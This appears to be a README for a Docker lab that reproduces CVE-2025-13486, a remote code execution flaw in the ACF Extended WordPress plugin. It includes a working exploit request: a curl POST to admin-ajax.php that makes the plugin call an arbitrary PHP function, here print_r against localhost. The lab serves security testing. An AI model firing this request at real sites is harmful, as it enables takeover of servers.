
بيئة اختبار Docker لـ CVE-2025-13486 (ACF Extended RCE). لأغراض البحث الأمني فقط.
إعداد Docker لمرة واحدة لاختبار ثغرة RCE في ACF Extended.
# 1. Download plugins (run once)
./download-plugins.sh
# 2. Start environment
docker-compose up -d --build
# 3. Wait ~30 seconds for setup, then test
nuclei -t CVE-2025-13486.yaml -u http://localhost:8888
إذا فشل سكربت التنزيل، ضع هذه الملفات يدويًا في مجلد plugins/:
ACF Pro (تبعية مطلوبة)
plugins/acf-pro.zipACF Extended 0.9.0.5 (الإصدار القابل للاستغلال)
plugins/acf-extended.zip# Extract nonce from homepage
curl -s http://localhost:8888/ | grep -oP '"nonce":"([a-f0-9]+)"'
# Test RCE with print_r
curl -X POST http://localhost:8888/wp-admin/admin-ajax.php \
-d "action=acfe/form/render_form_ajax&nonce=<NONCE>&form[render]=print_r&form[test]=PWNED"
docker-compose down -v
call_user_func_array()